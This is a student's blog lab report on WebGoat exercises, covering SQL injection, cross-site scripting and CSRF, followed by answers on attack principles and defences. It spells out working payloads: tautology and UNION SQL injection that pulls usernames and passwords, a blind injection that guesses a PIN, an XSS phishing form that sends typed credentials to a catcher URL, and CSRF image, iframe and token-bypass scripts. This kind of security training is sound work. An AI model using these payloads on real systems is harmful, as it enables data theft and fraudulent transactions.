代码改变世界

Exp 9 Web安全基础

2018-05-29 21:57  20154315李惠航  阅读(164)  评论(0编辑  收藏

Exp9 Web安全基础  20154315 李惠航

一. 实验内容

理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

二.实验步骤

1.WebGoat

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们这次实验的内容就都是在Webgoat上进行的。

在网上down一个Webgoat,拖到Linux里,使用指令 java -jar 文件名 启动(在此之前最好更新下JDK环境,Kali自带的好像不行,由于我下的8.0版本的Webgoat就需要JDK1.8环境 )。

Webgoat使用的是8080号端口,安装好后就可以在浏览器里输入 localhost:8080/WebGoat 访问,当然在此之前最好检查一下8080号端口是否被占用。

在登录界面可以先自己注册个帐号登录

进去之后就可以看到左边一排可以点开的都是能做的相关Web攻击练习。

由于后面的大部分实验都需要修改网页原代码,然而8.0版本我一按F12就卡半天,但是7.1版本的可以不用注册,使用首页下面两个默认帐号就能登录。

使用指令开启到这就能打开网页了

2.Injection Flaws

(1)String SQL Injection——8.0版本

通过输入用户姓名可以获取数据库中对应的数据信息。

输入永真式 ' or 1=1 --,就能获得所有用户数据。

(2)Numeric SQL Injection——8.0版本

 与上面相似,通过输入用户ID获取对应的用户数据。

在ID后面加个永真式 or 1=1,即可获得数据库内的全部信息

(3)Pulling data from other tables——8.0版本

随意输入一个用户查询其相关信息,还是老样子,我找Smith,可以发现这个表里有7个参数。

输入 Smith' union select null,null,null,null,null,null,null from user_system_data -- 联合查询判断数据回显列位置。

输入 Smith' union select null,user_name,password,null,null,null,null from user_system_data -- 就能获取所有用户的密码。

验证成功!

(4)LAB: SQL Injection——7.1版本

阶段1:String SQL Injection

使用SQL绕过认证,在密码处输入永真式发现长度被固定了,F12查看网页源代码,搜索password在第五个结果处对应此处的password发现限制长度为8,修改为大一点的值,再次输入永真式。

登录成功

这里我选择的是Larry所以登录后只能查看到她的个人信息,如果一开始选择BOSS的帐号登录的话就能看到所有人的信息了。

阶段2:Numeric SQL Injection

同上,注入SQL绕过认证,使普通用户浏览的无法浏览的信息,先登录Larry用户,可以用上个步骤的方法。

在图中value处101后面添加永真式,同时为了显示老板的工资,并且老板的工资应该是最高的可以进行排序,因此添加语句 101 or 1=1 order by salary desc 。

查询老板工资成功

(5)Blind Numeric SQL Injection

有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL的查询语句不断尝试注入最终获得我们想要的信息。

输入语句 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 )  查询,提示账户无效,开始修改范围,不断缩小。

大于2000时提示有效,也说明确实存在这个101账户

最后试出来为2364.。

3.Cross-Site Scripting (XSS)

(1)Phishing with XSS——7.1版本

题目要求是关于一个页面中存在XSS漏洞时,他如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。

使用XSS和HTML插入制作一个钓鱼网站,代码如下:

</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>

 

成功获取帐号密码。

(2)Stored XSS Attacks——8.0版本

这是一种很典型的储存型XSS的例子,也很简单,在留言框里输入任意JS代码,提交后这段代码会被存储到Web后台服务器,当有用户浏览该帖(或者说打开留言存在的当前页面),这段代码就会被解析并执行,比如输入 <script>alert("20154315攻击成功!");</script> 效果如下。

(3)Reflected XSS Attacks

当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可以使用攻击脚本制造一个URL,然后提交到另一个网站、发邮件或让受害者点击。

4.CSRF

(1) Cross Site Request Forgery(CSRF)

实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。

这里是一个储存型XSS和跨站请求伪造结合的示例,CSRF就是冒名登录,用代码伪造请求

在Title输入:20154315,在Message输入:

<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />

点击“Submit”,在Message List下出现一条提交的记录,如下图所示:

(2) CSRF Prompt By-Pass

在Title输入:20154315;在Message输入:

<iframe 

src="attack?Screen=280&menu=900&transferFunds=5000”

id="myFrame" frameborder="1" marginwidth="0"

 marginheight="0" width="800" scrolling=yes height="300"

onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">

</iframe>

 <iframe

id="frame2" frameborder="1" marginwidth=“0”    

marginheight="0" width="800" scrolling=yes height="300">

</iframe>

如下图所示:

(3)CSRF Token By-Pass

  • 在Title输入:20154315
  • 在Message输入构造的代码:
  • <script> var tokensuffix; function readFrame1() { var frameDoc = document.getElementById("frame1").contentDocument; var form = frameDoc.getElementsByTagName("form")[0]; tokensuffix = '&CSRFToken=' + form.CSRFToken.value; loadFrame2(); } function loadFrame2() { var testFrame = document.getElementById("frame2"); testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix; } </script> <iframe src="attack?Screen=273&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe>
  • 点击Submit,然后在Message List里点击“CSRF Token By-Pass Attack”

三.实验后问题回答

1.SQL注入攻击原理,如何防御?

原理:利用未过滤/未审核用户输入的攻击方法,即让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。

防御:

(1)对输入的数据进行过滤,过滤掉敏感字符。加密数据库。

(2)限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入。

2.XSS攻击的原理,如何防御?

原理:攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。

防御:

(1)在服务器段限制输入格式,输入类型,输入长度以及输入字符

(2)对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。

3.CSRF攻击原理,如何防御?

原理:跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。

防御:使用验证码,表单中附加随机值,以此来防止冒充,用户在浏览其它站点前登出站点;在浏览器会话结束后清理浏览器的cookie;尽量不要在页面的链接中暴露用户隐私信息;避免全站通用的cookie,严格设置cookie的域。